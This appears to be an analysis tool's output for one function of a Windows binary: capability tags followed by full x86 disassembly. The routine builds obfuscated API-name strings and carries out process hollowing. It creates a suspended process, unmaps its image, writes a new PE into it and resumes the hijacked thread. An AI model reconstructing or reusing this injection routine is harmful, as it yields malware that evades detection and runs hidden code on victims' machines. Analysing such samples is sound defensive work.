Function at 0x4995c0
Capabilities:
Contain obfuscated stackstrings
Create a process with modified i/o handles and window
Create process on windows
Link many functions at runtime
Parse pe header

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4a202b
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x148
mov eax, dword [0x4bf070]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x12c], edx
mov esi, ecx
mov dword [ebp - 0x158], esi
mov eax, dword [ebx + 8]
mov dword [ebp - 0x154], eax
mov byte [ebp - 0x149], 0
mov dword [ebp - 0x138], 0
mov dword [ebp - 0x130], 0
mov dword [ebp - 0x134], 0
call fcn.00406360
cmp byte [ebx + 0x18], 0
mov edi, eax
mov byte [ebp - 0x150], 0
je 0x499751
call fcn.0040c560
mov ecx, eax
test ecx, ecx
jne 0x49966a
push 0x80004005
call fcn.0040c2a0
mov eax, dword [ecx]
mov edx, dword [eax + 0xc]
cmp eax, vtable.ATL::CAtlStringMgr.0
jne 0x49967f
lock inc dword [ecx + 0x14]
lea eax, [ecx + 8]
jmp 0x499681
call edx
add eax, 0x10
mov dword [ebp - 0xe0], eax
push dword [ebx + 0x14]
lea eax, [ebp - 0xe0]
mov dword [ebp - 4], 0
push eax
lea edx, [ebp - 0x138]
mov ecx, edi
call fcn.00498ba0
add esp, 8
test al, al
je 0x499704
mov eax, dword [ebp - 0x138]
test eax, eax
je 0x499704
lea ecx, [ebp - 0x134]
push ecx
push 1
push 2
push 0
push 0x2000000
push eax
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
je 0x499704
push 0
push dword [ebp - 0x138]
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.USERENV.dll_CreateEnvironmentBlock]
mov ecx, dword [ebp - 0x150]
test eax, eax
movzx ecx, cl
mov edx, 1
cmovne ecx, edx
mov dword [ebp - 0x150], ecx
mov dword [ebp - 4], 0xffffffff
or eax, 0xffffffff
mov ecx, dword [ebp - 0xe0]
add ecx, 0xfffffff0
lock xadd dword [ecx + 0xc], eax
dec eax
test eax, eax
jg 0x499744
mov edx, dword [ecx]
push ecx
mov eax, dword [edx]
mov edi, dword [eax + 4]
cmp eax, vtable.ATL::CAtlStringMgr.0
jne 0x499740
mov eax, dword [edx + 4]
push 0
push dword [eax + 4]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x499744
mov ecx, edx
call edi
cmp byte [ebp - 0x150], 0
je 0x499d3f
lea eax, [ebp - 0xdc]
mov word [ebp - 0xd4], 0x642e
push eax
mov word [ebp - 0xd1], 0x6c
mov dword [ebp - 0xd9], 0x336c656e
mov word [ebp - 0xdb], 0x7265
mov byte [ebp - 0xdc], 0x4b
mov byte [ebp - 0xd5], 0x32
mov byte [ebp - 0xd2], 0x6c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, eax
test edi, edi
je 0x499d3f
lea eax, [ebp - 0x54]
mov dword [ebp - 0x47], 0x79726f6d
push eax
push edi
mov dword [ebp - 0x54], 0x64616552
mov word [ebp - 0x4a], 0x4d73
mov dword [ebp - 0x4f], 0x65636f72
mov byte [ebp - 0x48], 0x65
mov byte [ebp - 0x50], 0x50
mov byte [ebp - 0x4b], 0x73
mov byte [ebp - 0x43], 0
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4cc75c], eax
lea eax, [ebp - 0x7c]
push eax
push edi
mov dword [ebp - 0x7c], 0x54746547
mov dword [ebp - 0x6f], 0x747865
mov word [ebp - 0x74], 0x4364
mov word [ebp - 0x71], 0x746e
mov word [ebp - 0x77], 0x6572
mov byte [ebp - 0x78], 0x68
mov byte [ebp - 0x75], 0x61
mov byte [ebp - 0x72], 0x6f
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4cc758], eax
lea eax, [ebp - 0xb8]
push eax
push edi
mov dword [ebp - 0xb6], 0x61757472
mov dword [ebp - 0xb2], 0x6c6c416c
mov dword [ebp - 0xad], 0x784563
mov word [ebp - 0xb8], 0x6956
mov byte [ebp - 0xae], 0x6f
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4cc754], eax
lea eax, [ebp - 0x3c]
push eax
push edi
mov dword [ebp - 0x35], 0x6f6c6c41
mov dword [ebp - 0x39], 0x6c617574
mov word [ebp - 0x31], 0x63
mov word [ebp - 0x3c], 0x6956
mov byte [ebp - 0x3a], 0x72
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4cc744], eax
lea eax, [ebp - 0x2c]
push eax
push edi
mov word [ebp - 0x20], 0x654d
mov dword [ebp - 0x1d], 0x79726f
mov dword [ebp - 0x2c], 0x74697257
mov dword [ebp - 0x28], 0x6f725065
mov dword [ebp - 0x24], 0x73736563
mov byte [ebp - 0x1e], 0x6d
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4cc750], eax
lea eax, [ebp - 0x90]
push eax
push edi
mov dword [ebp - 0x85], 0x7865746e
mov word [ebp - 0x81], 0x74
mov word [ebp - 0x8f], 0x7465
mov word [ebp - 0x8c], 0x7268
mov dword [ebp - 0x89], 0x6f436461
mov byte [ebp - 0x8d], 0x54
mov byte [ebp - 0x90], 0x53
mov byte [ebp - 0x8a], 0x65
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4cc74c], eax
lea eax, [ebp - 0x68]
push eax
push edi
mov dword [ebp - 0x68], 0x75736552
mov word [ebp - 0x5e], 0x6461
mov dword [ebp - 0x63], 0x72685465
mov byte [ebp - 0x5c], 0
mov byte [ebp - 0x5f], 0x65
mov byte [ebp - 0x64], 0x6d
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4cc748], eax
lea eax, [ebp - 0xa4]
mov dword [ebp - 0x9b], 0x636f7250
push eax
push edi
mov word [ebp - 0xa1], 0x696d
mov dword [ebp - 0x97], 0x737365
mov word [ebp - 0x9e], 0x7461
mov word [ebp - 0xa3], 0x7265
mov byte [ebp - 0x9c], 0x65
mov byte [ebp - 0x9f], 0x6e
mov byte [ebp - 0xa4], 0x54
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4cc740], eax
lea eax, [ebp - 0xcc]
push eax
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc1], 0x417373
mov dword [ebp - 0xc8], 0x72506574
mov word [ebp - 0xcb], 0x6572
mov word [ebp - 0xc4], 0x636f
mov byte [ebp - 0xc9], 0x61
mov byte [ebp - 0xc2], 0x65
mov byte [ebp - 0xcc], 0x43
call edi
mov dword [ebp - 0xe0], eax
mov dword [0x4cc73c], eax
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x499c93
mov edi, dword [esi + 0x3c]
add edi, esi
cmp dword [edi], 0x4550
jne 0x499c8d
push 0x44
lea eax, [ebp - 0x128]
xorps xmm0, xmm0
push 0
push eax
movups xmmword [ebp - 0x148], xmm0
call fcn.004179d0
add esp, 0xc
mov dword [ebp - 0x128], 0x44
xor eax, eax
mov dword [ebp - 0xfc], 0x101
cmp byte [ebx + 0x18], al
mov word [ebp - 0xf8], ax
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0x128]
push eax
push 0
je 0x499a8b
push dword [ebp - 0x130]
push 0x8000404
push 0
push 0
push 0
push dword [ebp - 0x154]
push dword [ebp - 0x12c]
push dword [ebp - 0x134]
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
jmp 0x499aaa
push 0
push 0x8000004
push 0
push 0
push 0
push dword [ebp - 0x154]
push dword [ebp - 0x12c]
call dword [ebp - 0xe0]
test eax, eax
je 0x499c8d
push 4
push 0x1000
push 8
push 0
call dword [0x4cc744]
mov esi, eax
push esi
mov dword [ebp - 0x150], esi
mov dword [esi], 0x10002
push dword [ebp - 0x144]
call dword [0x4cc758]
push 0
test eax, eax
je 0x499c81
push 4
lea eax, [ebp - 0x12c]
push eax
mov eax, dword [esi + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x148]
call dword [0x4cc75c]
mov eax, dword [ebp - 0x12c]
lea ecx, [edi + 0x34]
cmp eax, dword [ecx]
jne 0x499b92
lea eax, [ebp - 0x2c]
mov word [ebp - 0x24], 0x6569
push eax
lea eax, [ebp - 0x68]
mov word [ebp - 0x1c], 0x6974
push eax
mov word [ebp - 0x29], 0x6d6e
mov word [ebp - 0x19], 0x6e
mov word [ebp - 0x21], 0x664f
mov word [ebp - 0x26], 0x5670
mov word [ebp - 0x1e], 0x6365
mov byte [ebp - 0x22], 0x77
mov word [ebp - 0x2c], 0x744e
mov byte [ebp - 0x1f], 0x53
mov byte [ebp - 0x27], 0x61
mov byte [ebp - 0x1a], 0x6f
mov byte [ebp - 0x2a], 0x55
mov dword [ebp - 0x62], 0x6c6c64
mov dword [ebp - 0x68], 0x6c64746e
mov word [ebp - 0x64], 0x2e6c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [ebp - 0x12c]
push dword [ebp - 0x148]
call eax
lea ecx, [edi + 0x34]
push 0x40
push 0x3000
push dword [edi + 0x50]
push dword [ecx]
push dword [ebp - 0x148]
call dword [0x4cc754]
mov dword [ebp - 0xe0], eax
push 0
test eax, eax
je 0x499c81
push dword [edi + 0x54]
push dword [ebp - 0x158]
push eax
push dword [ebp - 0x148]
call dword [0x4cc750]
movzx eax, word [edi + 0x14]
xor ecx, ecx
mov dword [ebp - 0x154], 0
cmp cx, word [edi + 6]
jae 0x499c32
lea esi, [edi + 0x2c]
add esi, eax
nop dword [eax + eax]
mov eax, dword [esi]
add eax, dword [ebp - 0x158]
push 0
push dword [esi - 4]
push eax
mov eax, dword [esi - 8]
add eax, dword [ebp - 0xe0]
push eax
push dword [ebp - 0x148]
call dword [0x4cc750]
mov ecx, dword [ebp - 0x154]
lea esi, [esi + 0x28]
movzx eax, word [edi + 6]
inc ecx
mov dword [ebp - 0x154], ecx
cmp ecx, eax
jl 0x499bf0
mov esi, dword [ebp - 0x150]
push 0
push 4
lea eax, [edi + 0x34]
push eax
mov eax, dword [esi + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x148]
call dword [0x4cc750]
mov eax, dword [edi + 0x28]
add eax, dword [ebp - 0xe0]
push esi
mov dword [esi + 0xb0], eax
push dword [ebp - 0x144]
call dword [0x4cc74c]
push dword [ebp - 0x144]
call dword [0x4cc748]
mov byte [ebp - 0x149], 1
jmp 0x499c8d
push dword [ebp - 0x148]
call dword [0x4cc740]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp dword [ebp - 0x130], 0
je 0x499d0d
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x3c], 0x72657355
push eax
mov dword [ebp - 0x38], 0x2e766e65
mov dword [ebp - 0x34], 0x6c6c64
mov word [ebp - 0x45], 0x6f6c
mov word [ebp - 0x53], 0x796f
mov word [ebp - 0x42], 0x6b
mov dword [ebp - 0x4d], 0x6d6e6f72
mov dword [ebp - 0x58], 0x74736544
mov dword [ebp - 0x51], 0x69766e45
mov dword [ebp - 0x49], 0x42746e65
mov byte [ebp - 0x43], 0x63
mov byte [ebp - 0x54], 0x72
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x499d0d
lea ecx, [ebp - 0x58]
push ecx
push eax
call edi
mov dword [0x4cc7a4], eax
test eax, eax
je 0x499d0d
push dword [ebp - 0x130]
call eax
mov eax, dword [ebp - 0x134]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x499d2a
push eax
call esi
mov dword [ebp - 0x134], 0
mov ecx, dword [ebp - 0x138]
test ecx, ecx
je 0x499d37
push ecx
call esi
mov al, byte [ebp - 0x149]
jmp 0x499d41
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0041553e
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret